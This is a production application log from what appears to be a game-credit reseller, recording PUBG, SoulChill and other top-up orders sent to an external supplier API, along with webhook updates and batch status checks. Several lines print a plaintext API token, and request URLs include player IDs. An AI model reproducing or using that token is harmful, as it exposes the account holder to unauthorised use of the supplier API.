[2026-03-24 17:38:00] production.INFO: Operation sent successfully {"operation_id":163926,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XBxJw-1774363080","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:38:00"}},"processed_data":{"order_number":"ORD-XBxJw-1774363080","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:38:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03"} 
[2026-03-24 17:38:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03","total_operations":2,"sites_count":1} 
[2026-03-24 17:38:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-j5G7ZL-1774360319","ORD-XBxJw-1774363080"]} 
[2026-03-24 17:38:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:38:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 17:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XBxJw-1774363080","operation_id":163926} 
[2026-03-24 17:38:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XBxJw-1774363080","operation_id":163926,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 17:38:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XBxJw-1774363080","operation_id":163926,"processed":0,"errors":0} 
[2026-03-24 17:38:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6iO8ITTsQcHaSnGaLu3hz2aIuSy7mPPD","execution_time":"2026-03-24 17:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XBxJw-1774363080","operation_id":163926} 
[2026-03-24 17:38:14] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-XBxJw-1774363080","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:38:14] production.INFO: Processed webhook data (normalized) {"id":"ORD-XBxJw-1774363080","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:38:14] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:38:14] production.INFO: SendAcceptReject: Notification queued {"user_id":50,"notification_type":"order_approved","reference_id":179020} 
[2026-03-24 17:38:14] production.INFO: Order updated successfully. Order ID: 179020, Status: completed  
[2026-03-24 17:38:14] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-XBxJw-1774363080","status":"completed","codes_count":0} 
[2026-03-24 17:38:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 50  
[2026-03-24 17:40:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zkPQlwariMsDNYwYeibYCBoJ4g8317t5","execution_time":"2026-03-24 17:40:03"} 
[2026-03-24 17:40:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zkPQlwariMsDNYwYeibYCBoJ4g8317t5","execution_time":"2026-03-24 17:40:03","total_operations":1,"sites_count":1} 
[2026-03-24 17:40:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zkPQlwariMsDNYwYeibYCBoJ4g8317t5","execution_time":"2026-03-24 17:40:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-j5G7ZL-1774360319"]} 
[2026-03-24 17:40:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zkPQlwariMsDNYwYeibYCBoJ4g8317t5","execution_time":"2026-03-24 17:40:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:40:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zkPQlwariMsDNYwYeibYCBoJ4g8317t5","execution_time":"2026-03-24 17:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 17:40:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zkPQlwariMsDNYwYeibYCBoJ4g8317t5","execution_time":"2026-03-24 17:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:40:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zkPQlwariMsDNYwYeibYCBoJ4g8317t5","execution_time":"2026-03-24 17:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 17:40:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zkPQlwariMsDNYwYeibYCBoJ4g8317t5","execution_time":"2026-03-24 17:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:40:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zkPQlwariMsDNYwYeibYCBoJ4g8317t5","execution_time":"2026-03-24 17:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:40:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:40:05] production.INFO: async() رجع: true  
[2026-03-24 17:40:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:40:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:40:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:40:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:40:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:40:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:40:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:40:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:40:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:40:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:40:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:40:54] production.INFO: Constructing job for order: 179021  
[2026-03-24 17:40:55] production.INFO: Handling job for order: 179021  
[2026-03-24 17:40:55] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:40:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:40:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/783/params?qty=20000&uuid=568805f9-39d1-47ac-b303-b42c025ae2e7&Player_ID=57944624  
[2026-03-24 17:40:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/783/params?qty=20000&uuid=568805f9-39d1-47ac-b303-b42c025ae2e7&Player_ID=57944624","has_body":false} 
[2026-03-24 17:40:56] production.INFO: Operation sent successfully {"operation_id":163927,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1rx8-1774363255","amount":3.383767999999999886995283304713666439056396484375,"status":"processing","product":"Saya Amount","game":"Saya","notes":[],"created_at":"2026-03-24 17:40:56"}},"processed_data":{"order_number":"ORD-1rx8-1774363255","amount":3.383767999999999886995283304713666439056396484375,"status":"processing","product":"Saya Amount","game":"Saya"}} 
[2026-03-24 17:41:13] production.INFO: Constructing job for order: 179023  
[2026-03-24 17:41:14] production.INFO: Handling job for order: 179023  
[2026-03-24 17:41:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:41:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:41:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=75e29a28-6070-47bf-9003-4c388b8a49f7&Player_ID=54862087  
[2026-03-24 17:41:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=75e29a28-6070-47bf-9003-4c388b8a49f7&Player_ID=54862087","has_body":false} 
[2026-03-24 17:41:15] production.INFO: Operation sent successfully {"operation_id":163928,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-oJO-1774363274","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 17:41:15"}},"processed_data":{"order_number":"ORD-oJO-1774363274","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 17:41:44] production.INFO: Constructing job for order: 179024  
[2026-03-24 17:41:45] production.INFO: Handling job for order: 179024  
[2026-03-24 17:41:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:41:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:41:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=08d3169f-12b3-4e16-b15f-08d6b606839d&Player_ID=52160134484  
[2026-03-24 17:41:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=08d3169f-12b3-4e16-b15f-08d6b606839d&Player_ID=52160134484","has_body":false} 
[2026-03-24 17:41:45] production.INFO: Operation sent successfully {"operation_id":163929,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gT7yMW-1774363305","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:41:45"}},"processed_data":{"order_number":"ORD-gT7yMW-1774363305","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 17:41:46] production.INFO: Constructing job for order: 179025  
[2026-03-24 17:41:48] production.INFO: Handling job for order: 179025  
[2026-03-24 17:41:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:41:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:41:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=67bc4aa0-54fe-41b1-82f0-72a3931ddb57&Player_ID=51869492983  
[2026-03-24 17:41:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=67bc4aa0-54fe-41b1-82f0-72a3931ddb57&Player_ID=51869492983","has_body":false} 
[2026-03-24 17:41:49] production.INFO: Operation sent successfully {"operation_id":163930,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9lIr-1774363309","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:41:49"}},"processed_data":{"order_number":"ORD-9lIr-1774363309","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:42:01] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9lIr-1774363309","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:42:01] production.INFO: Processed webhook data (normalized) {"id":"ORD-9lIr-1774363309","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:42:01] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:42:01] production.INFO: SendAcceptReject: Notification queued {"user_id":52,"notification_type":"order_approved","reference_id":179025} 
[2026-03-24 17:42:01] production.INFO: Order updated successfully. Order ID: 179025, Status: completed  
[2026-03-24 17:42:01] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9lIr-1774363309","status":"completed","codes_count":0} 
[2026-03-24 17:42:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 17:42:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01"} 
[2026-03-24 17:42:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","total_operations":4,"sites_count":1} 
[2026-03-24 17:42:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-j5G7ZL-1774360319","ORD-1rx8-1774363255","ORD-oJO-1774363274","ORD-gT7yMW-1774363305"]} 
[2026-03-24 17:42:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:42:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 17:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1rx8-1774363255","operation_id":163927} 
[2026-03-24 17:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gT7yMW-1774363305","operation_id":163929} 
[2026-03-24 17:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oJO-1774363274","operation_id":163928} 
[2026-03-24 17:42:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oJO-1774363274","operation_id":163928,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 17:42:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oJO-1774363274","operation_id":163928,"processed":0,"errors":0} 
[2026-03-24 17:42:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zvvaInkAM0iRQUR0NOXQMtYNG6zpZXQk","execution_time":"2026-03-24 17:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oJO-1774363274","operation_id":163928} 
[2026-03-24 17:42:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gT7yMW-1774363305","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:42:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-gT7yMW-1774363305","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:42:16] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:42:16] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":179024} 
[2026-03-24 17:42:16] production.INFO: Order updated successfully. Order ID: 179024, Status: completed  
[2026-03-24 17:42:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gT7yMW-1774363305","status":"completed","codes_count":0} 
[2026-03-24 17:42:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 17:42:22] production.INFO: Constructing job for order: 179026  
[2026-03-24 17:42:25] production.INFO: Handling job for order: 179026  
[2026-03-24 17:42:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:42:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:42:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=7d921871-ca11-4cf1-bee6-84ad85dd8fac&Player_ID=11200494  
[2026-03-24 17:42:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=7d921871-ca11-4cf1-bee6-84ad85dd8fac&Player_ID=11200494","has_body":false} 
[2026-03-24 17:42:26] production.INFO: Operation sent successfully {"operation_id":163931,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Fs8WtN-1774363346","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 17:42:26"}},"processed_data":{"order_number":"ORD-Fs8WtN-1774363346","amount":2.060006759999999825794247954036109149456024169921875,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 17:42:42] production.INFO: Constructing job for order: 179027  
[2026-03-24 17:42:44] production.INFO: Handling job for order: 179027  
[2026-03-24 17:42:44] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:42:44] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:42:44] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=f41822be-f1ff-431a-9329-65b9c4968339&Player_ID=5606343310  
[2026-03-24 17:42:44] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=f41822be-f1ff-431a-9329-65b9c4968339&Player_ID=5606343310","has_body":false} 
[2026-03-24 17:42:45] production.INFO: Operation sent successfully {"operation_id":163932,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-u66-1774363365","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:42:45"}},"processed_data":{"order_number":"ORD-u66-1774363365","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:42:51] production.INFO: Constructing job for order: 179028  
[2026-03-24 17:42:54] production.INFO: Handling job for order: 179028  
[2026-03-24 17:42:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:42:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:42:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/827/params?qty=30000&uuid=5970cab9-6b2b-4324-ab6d-bb15470efe61&Player_ID=15807206  
[2026-03-24 17:42:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/827/params?qty=30000&uuid=5970cab9-6b2b-4324-ab6d-bb15470efe61&Player_ID=15807206","has_body":false} 
[2026-03-24 17:42:55] production.INFO: Operation sent successfully {"operation_id":163933,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-oy5yKi3-1774363375","amount":3.1392480000000002604565452202223241329193115234375,"status":"processing","product":"Nahki Amount","game":"Nahki","notes":[],"created_at":"2026-03-24 17:42:55"}},"processed_data":{"order_number":"ORD-oy5yKi3-1774363375","amount":3.1392480000000002604565452202223241329193115234375,"status":"processing","product":"Nahki Amount","game":"Nahki"}} 
[2026-03-24 17:42:58] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 17:43:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 17:43:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 17:43:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-u66-1774363365","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:43:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-u66-1774363365","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:43:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:43:07] production.INFO: SendAcceptReject: Notification queued {"user_id":52,"notification_type":"order_approved","reference_id":179027} 
[2026-03-24 17:43:07] production.INFO: Order updated successfully. Order ID: 179027, Status: completed  
[2026-03-24 17:43:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-u66-1774363365","status":"completed","codes_count":0} 
[2026-03-24 17:43:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 17:43:41] production.INFO: SendAcceptReject: Notification queued {"user_id":726,"notification_type":"order_approved","reference_id":179022} 
[2026-03-24 17:43:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 726  
[2026-03-24 17:44:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1rx8-1774363255","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:44:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-1rx8-1774363255","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:44:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:44:04] production.INFO: SendAcceptReject: Notification queued {"user_id":32,"notification_type":"order_approved","reference_id":179021} 
[2026-03-24 17:44:04] production.INFO: Order updated successfully. Order ID: 179021, Status: completed  
[2026-03-24 17:44:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1rx8-1774363255","status":"completed","codes_count":0} 
[2026-03-24 17:44:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04"} 
[2026-03-24 17:44:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","total_operations":4,"sites_count":1} 
[2026-03-24 17:44:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-j5G7ZL-1774360319","ORD-oJO-1774363274","ORD-Fs8WtN-1774363346","ORD-oy5yKi3-1774363375"]} 
[2026-03-24 17:44:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:44:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 17:44:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:44:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"processed":3,"skipped":1,"updates_prepared":3} 
[2026-03-24 17:44:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 17:44:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"count":3} 
[2026-03-24 17:44:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"count":3} 
[2026-03-24 17:44:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"user_id":949,"notification_type":"order_approved","reference_id":179026} 
[2026-03-24 17:44:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"user_id":949,"notification_type":"order_approved","reference_id":179023} 
[2026-03-24 17:44:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"user_id":348,"notification_type":"order_approved","reference_id":179028} 
[2026-03-24 17:44:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:44:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"bTV9Pbge2V8JS5uJVVls5fmXgptdlkc1","execution_time":"2026-03-24 17:44:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oy5yKi3-1774363375","operation_id":163933,"total_processed":3,"total_errors":0,"chunks_processed":1} 
